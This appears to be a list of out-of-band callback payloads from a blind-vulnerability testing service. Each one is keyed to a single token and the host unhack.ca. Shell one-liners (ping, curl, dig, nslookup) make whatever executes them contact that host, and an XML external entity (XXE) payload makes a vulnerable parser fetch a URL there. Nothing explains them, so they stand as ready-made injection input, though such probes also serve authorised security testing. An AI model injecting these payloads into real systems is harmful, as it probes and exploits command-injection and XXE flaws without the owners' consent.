$ ping -c1 -p 001a5a311c93e7a4273f79fbbad23400 unhack.ca
 

$ curl http://unhack.ca/p/1a5a311c93e7a4273f79fbbad234
 

$ dig 1a5a311c93e7a4273f79fbbad234 @unhack.ca
 

$ dig 1a5a311c93e7a4273f79fbbad234.ns.unhack.ca
 

C:\> nslookup 1a5a311c93e7a4273f79fbbad234 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1a5a311c93e7a4273f79fbbad234">]>
    <foo>&xxe;</foo>